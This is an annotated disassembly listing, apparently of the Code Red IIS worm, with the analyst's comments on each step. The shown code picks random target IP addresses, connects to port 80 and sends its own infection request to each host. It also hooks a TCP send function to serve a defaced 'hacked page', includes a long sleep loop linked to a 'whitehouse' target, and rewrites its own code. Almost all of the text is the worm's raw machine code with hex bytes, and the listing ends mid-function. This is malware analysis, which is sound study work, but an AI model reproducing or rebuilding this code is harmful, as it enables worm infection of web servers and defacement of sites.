seg000:00000972                        ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000972
seg000:00000972                        WHITEHOUSE_SLEEP_LOOP:                ; CODE XREF: HA
CK_PAGE+2EA\030j
seg000:00000972 8B F4                           mov     esi, esp
seg000:00000974 68 00 00 00 01                  push    1000000h             ; sleep for aro
und 4.66 hours
seg000:00000979 FF 95 A0 FE FF FF               call    dword ptr [ebp-160h] ; Sleep
seg000:0000097F 3B F4                           cmp     esi, esp             ; Compare Two O
perands
seg000:00000981 90                              nop                          ; No Operation
seg000:00000982 43                              inc     ebx                  ; Increment by
1
seg000:00000983 4B                              dec     ebx                  ; Decrement by
1
seg000:00000984 43                              inc     ebx                  ; Increment by
1
seg000:00000985 4B                              dec     ebx                  ; Decrement by
1
seg000:00000986 E9 B9 FE FF FF                  jmp     TIME_GREATER_20 ; Jump
seg000:0000098B                        ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:0000098B
seg000:0000098B                        INFECT_HOST:                          ; CODE XREF: HA
CK_PAGE+1EF\030j
seg000:0000098B                                                              ; HACK_PAGE+1FC
\030j
seg000:0000098B 8B 85 44 FE FF FF               mov     eax, [ebp-1BCh] ; set seconds a
nd milisecond to eax
seg000:00000991 89 85 50 FE FF FF               mov     [ebp-1B0h], eax ; store at ebp-
1b0
seg000:00000997 8B 8D 50 FE FF FF               mov     ecx, [ebp-1B0h] ; load seconds
and miliseconds to ecx
seg000:0000099D 0F AF 8D 50 FE FF+              imul    ecx, [ebp-1B0h] ; multiply by i
tself
seg000:000009A4 69 C9 E3 59 CD 00               imul    ecx, 0CD59E3h        ; multiply by 0
cd59e3
seg000:000009AA 8B 95 50 FE FF FF               mov     edx, [ebp-1B0h] ; store sec/mil
isec inedx
seg000:000009B0 69 D2 B9 E1 01 00               imul    edx, 1E1B9h          ; multiply sec/
mil by  1e1b9
seg000:000009B6 8B 85 74 FE FF FF               mov     eax, [ebp-18Ch] ; set eax to th
e threadcount
seg000:000009BC 03 C1                           add     eax, ecx             ; add ecx(multi
plier)  to eax
seg000:000009BE 03 D0                           add     edx, eax             ; add eax to ed
x
seg000:000009C0 89 95 50 FE FF FF               mov     [ebp-1B0h], edx ; store new num
ber at  ebp-1b0
seg000:000009C6 8B 8D 74 FE FF FF               mov     ecx, [ebp-18Ch] ; load threadco
unt imul(o.5bd) into ecx
seg000:000009CC 69 C9 83 33 CF 00               imul    ecx, 0CF3383h        ; multiply it
```

```
seg000:000009D2 81 C1 53 FE 6B 07                   add     ecx, 76BFE53h   ; add to it
seg000:000009D8 89 8D 74 FE FF FF                   mov     [ebp-18Ch], ecx ; store it agai
n
seg000:000009DE 8B 95 74 FE FF FF                   mov     edx, [ebp-18Ch] ; set edx to th
e new val
seg000:000009E4 81 E2 FF 00 00 00                   and     edx, 0FFh       ; get the last
byte
seg000:000009EA 89 95 50 FE FF FF                   mov     [ebp-1B0h], edx ; move the last
 byte to ebp-1b0
seg000:000009F0 83 BD 50 FE FF FF+                  cmp     dword ptr [ebp-1B0h], 7Fh ; '
\177' ; check if the byte is 7F
seg000:000009F7 74 0C                               jz      short loc_A05   ; if it is, go
here
seg000:000009F9 81 BD 50 FE FF FF+                  cmp     dword ptr [ebp-1B0h], 0E0h ; 'à
' ; check if the last byteis 0e0
seg000:00000A03 75 11                               jnz     short loc_A16   ; if it is not,
 go here
seg000:00000A05
seg000:00000A05                    loc_A05:                                 ; CODE XREF: HA
CK_PAGE+3A8\030j
seg000:00000A05 8B 85 74 FE FF FF                   mov     eax, [ebp-18Ch] ; load eax with
 the ebp-18c val
seg000:00000A0B 05 A9 0D 02 00                      add     eax, 20DA9h     ; add 20da9 to
it
seg000:00000A10 89 85 74 FE FF FF                   mov     [ebp-18Ch], eax ; set the value
 to the new value
seg000:00000A16
seg000:00000A16                    loc_A16:                                 ; CODE XREF: HA
CK_PAGE+3B4\030j
seg000:00000A16 8B F4                               mov     esi, esp        ; sleep for 100
 ms
seg000:00000A18 6A 64                               push    64h ; 'd'       ; 100 milisecon
ds
seg000:00000A1A FF 95 A0 FE FF FF                   call    dword ptr [ebp-160h] ; Sleep
seg000:00000A20 3B F4                               cmp     esi, esp        ; Compare Two O
perands
seg000:00000A22 90                                  nop                     ; No Operation
seg000:00000A23 43                                  inc     ebx             ; Increment by
1
seg000:00000A24 4B                                  dec     ebx             ; Decrement by
1
seg000:00000A25 43                                  inc     ebx             ; Increment by
1
seg000:00000A26 4B                                  dec     ebx             ; Decrement by
1
seg000:00000A27 8B F4                               mov     esi, esp        ; Create a sock
et
seg000:00000A29 6A 00                               push    0               ; int protocol
seg000:00000A2B 6A 01                               push    1               ; int type
seg000:00000A2D 6A 02                               push    2               ; int af
seg000:00000A2F FF 95 B8 FE FF FF                   call    dword ptr [ebp-148h] ; socket
seg000:00000A35 3B F4                               cmp     esi, esp        ; Compare Two O
perands
seg000:00000A37 90                                  nop                     ; No Operation
seg000:00000A38 43                                  inc     ebx             ; Increment by
1
seg000:00000A39 4B                                  dec     ebx             ; Decrement by
1
seg000:00000A3A 43                                  inc     ebx             ; Increment by
1
seg000:00000A3B 4B                                  dec     ebx             ; Decrement by
1
seg000:00000A3C 89 85 78 FE FF FF                   mov     [ebp-188h], eax ; save the sock
 descriptor to  ebp-188
seg000:00000A42 66 C7 85 7C FE FF+                  mov     word ptr [ebp-184h], 2 ; this s
ets up  the socaddr struct
seg000:00000A4B 66 C7 85 7E FE FF+                  mov     word ptr [ebp-182h], 5000h
seg000:00000A54 8B 8D 74 FE FF FF                   mov     ecx, [ebp-18Ch] ; load ecx with
 the ip address
seg000:00000A5A 89 8D 80 FE FF FF                   mov     [ebp-180h], ecx ; set ebp-180 t
```

```
o the ipaddress
seg000:00000A60 8B F4                                   mov     esi, esp
seg000:00000A62 6A 10                                   push    10h             ; int namelen
seg000:00000A64 8D 95 7C FE FF FF                       lea     edx, [ebp-184h] ; Load Effectiv
e Address
seg000:00000A6A 52                                      push    edx             ; const struct
sockaddr FAR *name
seg000:00000A6B 8B 85 78 FE FF FF                       mov     eax, [ebp-188h]
seg000:00000A71 50                                      push    eax             ; SOCKET s
seg000:00000A72 FF 95 BC FE FF FF                       call    dword ptr [ebp-144h] ; connect
seg000:00000A78 3B F4                                   cmp     esi, esp        ; Compare Two O
perands
seg000:00000A7A 90                                      nop                     ; No Operation
seg000:00000A7B 43                                      inc     ebx             ; Increment by
1
seg000:00000A7C 4B                                      dec     ebx             ; Decrement by
1
seg000:00000A7D 43                                      inc     ebx             ; Increment by
1
seg000:00000A7E 4B                                      dec     ebx             ; Decrement by
1
seg000:00000A7F 85 C0                                   test    eax, eax        ; check if the
connect succeeded
seg000:00000A81 0F 85 EF 01 00 00                       jnz     SOCK_CLOSE_LOOP ; if the connec
t failed goto closesocketloop
seg000:00000A87 8B F4                                   mov     esi, esp        ; Send a "GET "
seg000:00000A89 6A 00                                   push    0
seg000:00000A8B 6A 04                                   push    4
seg000:00000A8D 8B 8D 68 FE FF FF                       mov     ecx, [ebp-198h] ; points to GET
seg000:00000A93 51                                      push    ecx
seg000:00000A94 8B 95 78 FE FF FF                       mov     edx, [ebp-188h] ; points to soc
ket
seg000:00000A9A 52                                      push    edx
seg000:00000A9B FF 95 C0 FE FF FF                       call    dword ptr [ebp-140h] ; send a G
ET
seg000:00000AA1 3B F4                                   cmp     esi, esp        ; Compare Two O
perands
seg000:00000AA3 90                                      nop                     ; No Operation
seg000:00000AA4 43                                      inc     ebx             ; Increment by
1
seg000:00000AA5 4B                                      dec     ebx             ; Decrement by
1
seg000:00000AA6 43                                      inc     ebx             ; Increment by
1
seg000:00000AA7 4B                                      dec     ebx             ; Decrement by
1
seg000:00000AA8 C7 85 4C FE FF FF+                      mov     dword ptr [ebp-1B4h], 0 ; store
 a 0 in 1b4
seg000:00000AB2 8B 45 08                                mov     eax, [ebp+8]    ; load isapi fi
lter
seg000:00000AB5 8B 48 68                                mov     ecx, [eax+68h]  ; set ecx to of
fset inside isapi filter
seg000:00000AB8 89 8D 64 FE FF FF                       mov     [ebp-19Ch], ecx ; store isapi p
ointer  at ebp-19c
seg000:00000ABE EB 1E                                   jmp     short SETUP_URL_TO_SEND ; load
ecx with isapi  offset
seg000:00000AC0                         ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000AC0
seg000:00000AC0                         GET_NEXT_URL_BYTE:                      ; CODE XREF: HA
CK_PAGE+49C\031j
seg000:00000AC0 8B 95 64 FE FF FF                       mov     edx, [ebp-19Ch] ; increment the
 url pointer at ebp-19c
seg000:00000AC6 83 C2 01                                add     edx, 1          ; Add
seg000:00000AC9 89 95 64 FE FF FF                       mov     [ebp-19Ch], edx
seg000:00000ACF 8B 85 4C FE FF FF                       mov     eax, [ebp-1B4h] ; inc counter
seg000:00000AD5 83 C0 01                                add     eax, 1          ; Add
seg000:00000AD8 89 85 4C FE FF FF                       mov     [ebp-1B4h], eax
seg000:00000ADE
seg000:00000ADE                         SETUP_URL_TO_SEND:                      ; CODE XREF: HA
```

```
CK_PAGE+46F\030j
seg000:00000ADE 8B 8D 64 FE FF FF                   mov     ecx, [ebp-19Ch] ; load ecx with
 isapi  offset
seg000:00000AE4 0F BE 11                            movsx   edx, byte ptr [ecx] ; move the
byte to edx
seg000:00000AE7 85 D2                               test    edx, edx        ; look for null
seg000:00000AE9 74 02                               jz      short SEND_URL  ; if it's null,
 then go here
seg000:00000AEB EB D3                               jmp     short GET_NEXT_URL_BYTE ; else
go here
seg000:00000AED                         ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000AED
seg000:00000AED                         SEND_URL:                               ; CODE XREF: HA
CK_PAGE+49A\030j
seg000:00000AED 8B F4                               mov     esi, esp
seg000:00000AEF 6A 00                               push    0               ; no flags
seg000:00000AF1 8B 85 4C FE FF FF                   mov     eax, [ebp-1B4h]
seg000:00000AF7 50                                  push    eax             ; push size
seg000:00000AF8 8B 4D 08                            mov     ecx, [ebp+8]
seg000:00000AFB 8B 51 68                            mov     edx, [ecx+68h]  ; pointer to be
ginning of request
seg000:00000AFE 52                                  push    edx
seg000:00000AFF 8B 85 78 FE FF FF                   mov     eax, [ebp-188h] ; push socket
seg000:00000B05 50                                  push    eax
seg000:00000B06 FF 95 C0 FE FF FF                   call    dword ptr [ebp-140h] ; send
seg000:00000B0C 3B F4                               cmp     esi, esp        ; Compare Two O
perands
seg000:00000B0E 90                                  nop                     ; No Operation
seg000:00000B0F 43                                  inc     ebx             ; Increment by
1
seg000:00000B10 4B                                  dec     ebx             ; Decrement by
1
seg000:00000B11 43                                  inc     ebx             ; Increment by
1
seg000:00000B12 4B                                  dec     ebx             ; Decrement by
1
seg000:00000B13 8B F4                               mov     esi, esp        ; send "?" quer
y specifier
seg000:00000B15 6A 00                               push    0               ; no flags
seg000:00000B17 6A 01                               push    1               ; push size 1
seg000:00000B19 8B 8D 68 FE FF FF                   mov     ecx, [ebp-198h]
seg000:00000B1F 83 C1 05                            add     ecx, 5          ; set pointer t
o 3f
seg000:00000B22 51                                  push    ecx
seg000:00000B23 8B 95 78 FE FF FF                   mov     edx, [ebp-188h] ; push sock des
c
seg000:00000B29 52                                  push    edx
seg000:00000B2A FF 95 C0 FE FF FF                   call    dword ptr [ebp-140h] ; send
seg000:00000B30 3B F4                               cmp     esi, esp        ; Compare Two O
perands
seg000:00000B32 90                                  nop                     ; No Operation
seg000:00000B33 43                                  inc     ebx             ; Increment by
1
seg000:00000B34 4B                                  dec     ebx             ; Decrement by
1
seg000:00000B35 43                                  inc     ebx             ; Increment by
1
seg000:00000B36 4B                                  dec     ebx             ; Decrement by
1
seg000:00000B37 C7 85 4C FE FF FF+                  mov     dword ptr [ebp-1B4h], 0 ; set c
ounter  to 0
seg000:00000B41 8B 45 08                            mov     eax, [ebp+8]    ; load headers
seg000:00000B44 8B 48 64                            mov     ecx, [eax+64h]
seg000:00000B47 89 8D 64 FE FF FF                   mov     [ebp-19Ch], ecx ; store headers
 addr at ebp-19c
seg000:00000B4D EB 1E                               jmp     short SETUP_QUERY_TO_SEND ; Jum
p
seg000:00000B4F                         ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
```

```
seg000:00000B4F
seg000:00000B4F                      GET_NEXT_QUERY_BYTE:                    ; CODE XREF: HA
CK_PAGE+52B\031j
seg000:00000B4F 8B 95 64 FE FF FF                mov     edx, [ebp-19Ch] ; increment the
 memory pointer to the  headers
seg000:00000B55 83 C2 01                         add     edx, 1          ; Add
seg000:00000B58 89 95 64 FE FF FF                mov     [ebp-19Ch], edx
seg000:00000B5E 8B 85 4C FE FF FF                mov     eax, [ebp-1B4h] ; increment the
 counter
seg000:00000B64 83 C0 01                         add     eax, 1          ; Add
seg000:00000B67 89 85 4C FE FF FF                mov     [ebp-1B4h], eax
seg000:00000B6D
seg000:00000B6D                      SETUP_QUERY_TO_SEND:                    ; CODE XREF: HA
CK_PAGE+4FE\030j
seg000:00000B6D 8B 8D 64 FE FF FF                mov     ecx, [ebp-19Ch]
seg000:00000B73 0F BE 11                         movsx   edx, byte ptr [ecx] ; Move with
 Sign-Extend
seg000:00000B76 85 D2                            test    edx, edx        ; Logical Compa
re
seg000:00000B78 74 02                            jz      short SEND_QUERY ; Jump if Zero
 (ZF=1)
seg000:00000B7A EB D3                            jmp     short GET_NEXT_QUERY_BYTE ; inc
rement  the memory pointer to the headers
seg000:00000B7C                      ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000B7C
seg000:00000B7C                      SEND_QUERY:                             ; CODE XREF: HA
CK_PAGE+529\030j
seg000:00000B7C 8B F4                            mov     esi, esp
seg000:00000B7E 6A 00                            push    0               ; no flags
seg000:00000B80 8B 85 4C FE FF FF                mov     eax, [ebp-1B4h] ; push size of
headers
seg000:00000B86 50                               push    eax
seg000:00000B87 8B 4D 08                         mov     ecx, [ebp+8]
seg000:00000B8A 8B 51 64                         mov     edx, [ecx+64h]
seg000:00000B8D 52                               push    edx             ; push addr poi
nting to headers
seg000:00000B8E 8B 85 78 FE FF FF                mov     eax, [ebp-188h]
seg000:00000B94 50                               push    eax             ; push sock des
criptor
seg000:00000B95 FF 95 C0 FE FF FF                call    dword ptr [ebp-140h] ; send
seg000:00000B95                                                          ; send the head
ers
seg000:00000B9B 3B F4                            cmp     esi, esp        ; Compare Two O
perands
seg000:00000B9D 90                               nop                     ; No Operation
seg000:00000B9E 43                               inc     ebx             ; Increment by
1
seg000:00000B9F 4B                               dec     ebx             ; Decrement by
1
seg000:00000BA0 43                               inc     ebx             ; Increment by
1
seg000:00000BA1 4B                               dec     ebx             ; Decrement by
1
seg000:00000BA2 C7 85 4C FE FF FF+               mov     dword ptr [ebp-1B4h], 0 ; reset
 counter to 0
seg000:00000BAC 8B 8D 68 FE FF FF                mov     ecx, [ebp-198h] ; set ebp-19c t
o our headers
seg000:00000BB2 83 C1 07                         add     ecx, 7          ; Add
seg000:00000BB5 89 8D 64 FE FF FF                mov     [ebp-19Ch], ecx
seg000:00000BBB EB 1E                            jmp     short SETUP_HEADERS_TO_SEND ; J
ump
seg000:00000BBD                      ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000BBD
seg000:00000BBD                      GET_NEXT_HEADERS:                       ; CODE XREF: HA
CK_PAGE+599\031j
seg000:00000BBD 8B 95 64 FE FF FF                mov     edx, [ebp-19Ch]
seg000:00000BC3 83 C2 01                         add     edx, 1          ; Add
seg000:00000BC6 89 95 64 FE FF FF                mov     [ebp-19Ch], edx
```

```
seg000:00000BCC 8B 85 4C FE FF FF                mov     eax, [ebp-1B4h]
seg000:00000BD2 83 C0 01                         add     eax, 1          ; Add
seg000:00000BD5 89 85 4C FE FF FF                mov     [ebp-1B4h], eax
seg000:00000BDB
seg000:00000BDB                  SETUP_HEADERS_TO_SEND:                  ; CODE XREF: HA
CK_PAGE+56C\030j
seg000:00000BDB 8B 8D 64 FE FF FF                mov     ecx, [ebp-19Ch]
seg000:00000BE1 0F BE 11                         movsx   edx, byte ptr [ecx] ; Move with
 Sign-Extend
seg000:00000BE4 85 D2                            test    edx, edx        ; Logical Compa
re
seg000:00000BE6 74 02                            jz      short SEND_HEADERS ; Jump if Ze
ro (ZF=1)
seg000:00000BE8 EB D3                            jmp     short GET_NEXT_HEADERS ; Jump
seg000:00000BEA                  ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000BEA
seg000:00000BEA                  SEND_HEADERS:                           ; CODE XREF: HA
CK_PAGE+597\030j
seg000:00000BEA 8B F4                            mov     esi, esp
seg000:00000BEC 6A 00                            push    0
seg000:00000BEE 8B 85 4C FE FF FF                mov     eax, [ebp-1B4h] ; push counted
size
seg000:00000BF4 50                               push    eax
seg000:00000BF5 8B 8D 68 FE FF FF                mov     ecx, [ebp-198h] ; push addr of
our headers
seg000:00000BFB 83 C1 07                         add     ecx, 7          ; Add
seg000:00000BFE 51                               push    ecx
seg000:00000BFF 8B 95 78 FE FF FF                mov     edx, [ebp-188h] ; push socket d
escriptor
seg000:00000C05 52                               push    edx
seg000:00000C06 FF 95 C0 FE FF FF                call    dword ptr [ebp-140h] ; send
seg000:00000C0C 3B F4                            cmp     esi, esp        ; Compare Two O
perands
seg000:00000C0E 90                               nop                     ; No Operation
seg000:00000C0F 43                               inc     ebx             ; Increment by
1
seg000:00000C10 4B                               dec     ebx             ; Decrement by
1
seg000:00000C11 43                               inc     ebx             ; Increment by
1
seg000:00000C12 4B                               dec     ebx             ; Decrement by
1
seg000:00000C13 8B 45 08                         mov     eax, [ebp+8]    ; get data requ
est size
seg000:00000C16 8B 48 70                         mov     ecx, [eax+70h]
seg000:00000C19 89 8D 4C FE FF FF                mov     [ebp-1B4h], ecx ; set counter t
o data  request size
seg000:00000C1F 8B F4                            mov     esi, esp
seg000:00000C21 6A 00                            push    0               ;  no flags
seg000:00000C23 8B 95 4C FE FF FF                mov     edx, [ebp-1B4h] ; push request
size
seg000:00000C29 52                               push    edx
seg000:00000C2A 8B 45 08                         mov     eax, [ebp+8]
seg000:00000C2D 8B 48 78                         mov     ecx, [eax+78h]  ; get and push
data request
seg000:00000C30 51                               push    ecx
seg000:00000C31 8B 95 78 FE FF FF                mov     edx, [ebp-188h] ; push sock des
c
seg000:00000C37 52                               push    edx
seg000:00000C38 FF 95 C0 FE FF FF                call    dword ptr [ebp-140h] ; send
seg000:00000C38                                                          ; this sends th
e actual malicious code to the  remote side
seg000:00000C3E 3B F4                            cmp     esi, esp        ; Compare Two O
perands
seg000:00000C40 90                               nop                     ; No Operation
seg000:00000C41 43                               inc     ebx             ; Increment by
1
seg000:00000C42 4B                               dec     ebx             ; Decrement by
1
```

```
seg000:00000C43 43                                inc     ebx              ; Increment by
1
seg000:00000C44 4B                                dec     ebx              ; Decrement by
1
seg000:00000C45 C6 85 FC FE FF FF+                mov     byte ptr [ebp-104h], 0 ; set eb
p-104 to 0
seg000:00000C4C 8B F4                             mov     esi, esp
seg000:00000C4E 6A 00                             push    0                ; no flags
seg000:00000C50 68 00 01 00 00                    push    100h             ; set 100 len
seg000:00000C55 8D 85 FC FE FF FF                 lea     eax, [ebp-104h] ; push addr of
ebp-104
seg000:00000C5B 50                                push    eax
seg000:00000C5C 8B 8D 78 FE FF FF                 mov     ecx, [ebp-188h] ; push sockdesc
seg000:00000C62 51                                push    ecx
seg000:00000C63 FF 95 C4 FE FF FF                 call    dword ptr [ebp-13Ch] ; recv
seg000:00000C63                                                            ;
seg000:00000C63                                                            ; receive a res
ponse from the  remote side
seg000:00000C69 3B F4                             cmp     esi, esp         ; Compare Two O
perands
seg000:00000C6B 90                                nop                      ; No Operation
seg000:00000C6C 43                                inc     ebx              ; Increment by
1
seg000:00000C6D 4B                                dec     ebx              ; Decrement by
1
seg000:00000C6E 43                                inc     ebx              ; Increment by
1
seg000:00000C6F 4B                                dec     ebx              ; Decrement by
1
seg000:00000C70 89 85 4C FE FF FF                 mov     [ebp-1B4h], eax ; set counter t
o data  received from recv
seg000:00000C76
seg000:00000C76                  SOCK_CLOSE_LOOP:                          ; CODE XREF: HA
CK_PAGE+432\030j
seg000:00000C76 8B F4                             mov     esi, esp
seg000:00000C78 8B 95 78 FE FF FF                 mov     edx, [ebp-188h]
seg000:00000C7E 52                                push    edx
seg000:00000C7F FF 95 C8 FE FF FF                 call    dword ptr [ebp-138h] ; closesoc
ket
seg000:00000C85 3B F4                             cmp     esi, esp         ; Compare Two O
perands
seg000:00000C87 90                                nop                      ; No Operation
seg000:00000C88 43                                inc     ebx              ; Increment by
1
seg000:00000C89 4B                                dec     ebx              ; Decrement by
1
seg000:00000C8A 43                                inc     ebx              ; Increment by
1
seg000:00000C8B 4B                                dec     ebx              ; Decrement by
1
seg000:00000C8C
seg000:00000C8C                  loc_C8C:                                  ; this exits fr
om sub  224, not positive of the end result.
seg000:00000C8C E9 0C FB FF FF                    jmp     DO_THE_WORK
seg000:00000C91                  ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000C91
seg000:00000C91                  TIGHT_LOOP:                               ; CODE XREF: DO
_RVA+230\030j
seg000:00000C91                                                            ; HACK_PAGE+155
\030j ...
seg000:00000C91 EB FE                             jmp     short TIGHT_LOOP ; This is a ti
ght loop
seg000:00000C91                  HACK_PAGE        endp
seg000:00000C91
seg000:00000C93                  ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000C93
seg000:00000C93                  JUMP_TABLE1:                              ; CODE XREF: Da
taSetup+1C\030j
```

```
seg000:00000C93 E8 8C F5 FF FF                      call    DO_RVA          ; Call Procedur
e
seg000:00000C98 EB 30                               jmp     short HOOK_FAKE_TCPSOCKSEND ; e
bp-1a0  it seems
seg000:00000C9A
seg000:00000C9A                     ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
seg000:00000C9A
seg000:00000C9A                     ; This is a fake tcpsocksend that replaces the current
one.
seg000:00000C9A                     ; it serves to deliver the hacked page when inititalize
d
seg000:00000C9A
seg000:00000C9A                     FAKE_TCPSOCKSEND proc near                ; CODE XREF: se
g000:00000CCA\031p
seg000:00000C9A
seg000:00000C9A                     var_C           = dword ptr -0Ch
seg000:00000C9A                     arg_4           = dword ptr  8
seg000:00000C9A
seg000:00000C9A 58                                  pop     eax
seg000:00000C9B 83 C0 05                            add     eax, 5          ; Add
seg000:00000C9E 55                                  push    ebp
seg000:00000C9F 57                                  push    edi
seg000:00000CA0 53                                  push    ebx
seg000:00000CA1 56                                  push    esi
seg000:00000CA2 50                                  push    eax
seg000:00000CA3 6A 3C                               push    3Ch ; '<'
seg000:00000CA5 8B F0                               mov     esi, eax
seg000:00000CA7 83 C6 0C                            add     esi, 0Ch        ; Add
seg000:00000CAA 56                                  push    esi
seg000:00000CAB 68 00 01 00 00                      push    100h
seg000:00000CB0 FF 70 08                            push    dword ptr [eax+8]
seg000:00000CB3 FF 74 24 28                         push    [esp+20h+arg_4]
seg000:00000CB7 FF 10                               call    dword ptr [eax] ; Indirect Call
 Near Procedure
seg000:00000CB9 58                                  pop     eax
seg000:00000CBA 50                                  push    eax
seg000:00000CBB FF 74 24 18                         push    [esp+24h+var_C]
seg000:00000CBF FF 50 04                            call    dword ptr [eax+4] ; Indirect Ca
ll Near Procedure
seg000:00000CC2 58                                  pop     eax
seg000:00000CC3 5E                                  pop     esi
seg000:00000CC4 5B                                  pop     ebx
seg000:00000CC5 5F                                  pop     edi
seg000:00000CC6 5D                                  pop     ebp
seg000:00000CC7 FF 20                               jmp     dword ptr [eax] ; Indirect Near
 Jump
seg000:00000CC7                     FAKE_TCPSOCKSEND endp
seg000:00000CC7
seg000:00000CC7                     ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000CC9 90                                  db  90h ; \220
seg000:00000CCA                     ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000CCA
seg000:00000CCA                     HOOK_FAKE_TCPSOCKSEND:                    ; CODE XREF: se
g000:00000C98\030j
seg000:00000CCA                                                               ; seg000:00000C
D4\031j
seg000:00000CCA E8 CB FF FF FF                      call    FAKE_TCPSOCKSEND ; This is a fa
ke tcpsocksend  that replaces the current one.
seg000:00000CCA                                                               ; it serves to
deliver the hacked page when inititalized
seg000:00000CCF
seg000:00000CCF                     HACK_PAGE_JUMP:                           ; CODE XREF: DO
_RVA+426\030j
seg000:00000CCF E8 7B F9 FF FF                      call    HACK_PAGE       ; this sets up
the hacked page bit
seg000:00000CD4 EB F8                               jmp     short near ptr HOOK_FAKE_TCPSOC
KSEND+4 ; Jump
```

```
seg000:00000CD4                 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
seg000:00000CD6 22              PADDING_BYTES   db  22h ; "
seg000:00000CD7 6E                              db  6Eh ; n
seg000:00000CD8 84                              db  84h ; \204
seg000:00000CD9 32                              db  32h ; 2
seg000:00000CDA 03                              db    3 ;
seg000:00000CDB 75                              db  75h ; u
seg000:00000CDC B3                              db 0B3h ; ³
seg000:00000CDD CA                              db 0CAh ; Ê
seg000:00000CDE 5A                              db  5Ah ; Z
seg000:00000CDF 04                              db    4 ;
seg000:00000CE0 56                              db  56h ; V
seg000:00000CE1 34                              db  34h ; 4
seg000:00000CE2 12                              db  12h ;
seg000:00000CE3 B8                              db 0B8h ; ¸
seg000:00000CE4 78                              db  78h ; x
seg000:00000CE5 56                              db  56h ; V
seg000:00000CE6 34                              db  34h ; 4
seg000:00000CE7 12                              db  12h ;
seg000:00000CE8 B8                              db 0B8h ; ¸
seg000:00000CE9 78                              db  78h ; x
seg000:00000CEA 56                              db  56h ; V
seg000:00000CEB 34                              db  34h ; 4
seg000:00000CEC 12                              db  12h ;
seg000:00000CED
seg000:00000CED                 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ
seg000:00000CED
seg000:00000CED                 ; This function:
seg000:00000CED                 ; sets up edi
seg000:00000CED                 ; dynamically rewrites a bit of worm code to point to t
he head of the  code
seg000:00000CED
seg000:00000CED                 DO_REWRITE      proc near               ; CODE XREF: DO
_RVA+29\030p
seg000:00000CED 58                              pop     eax
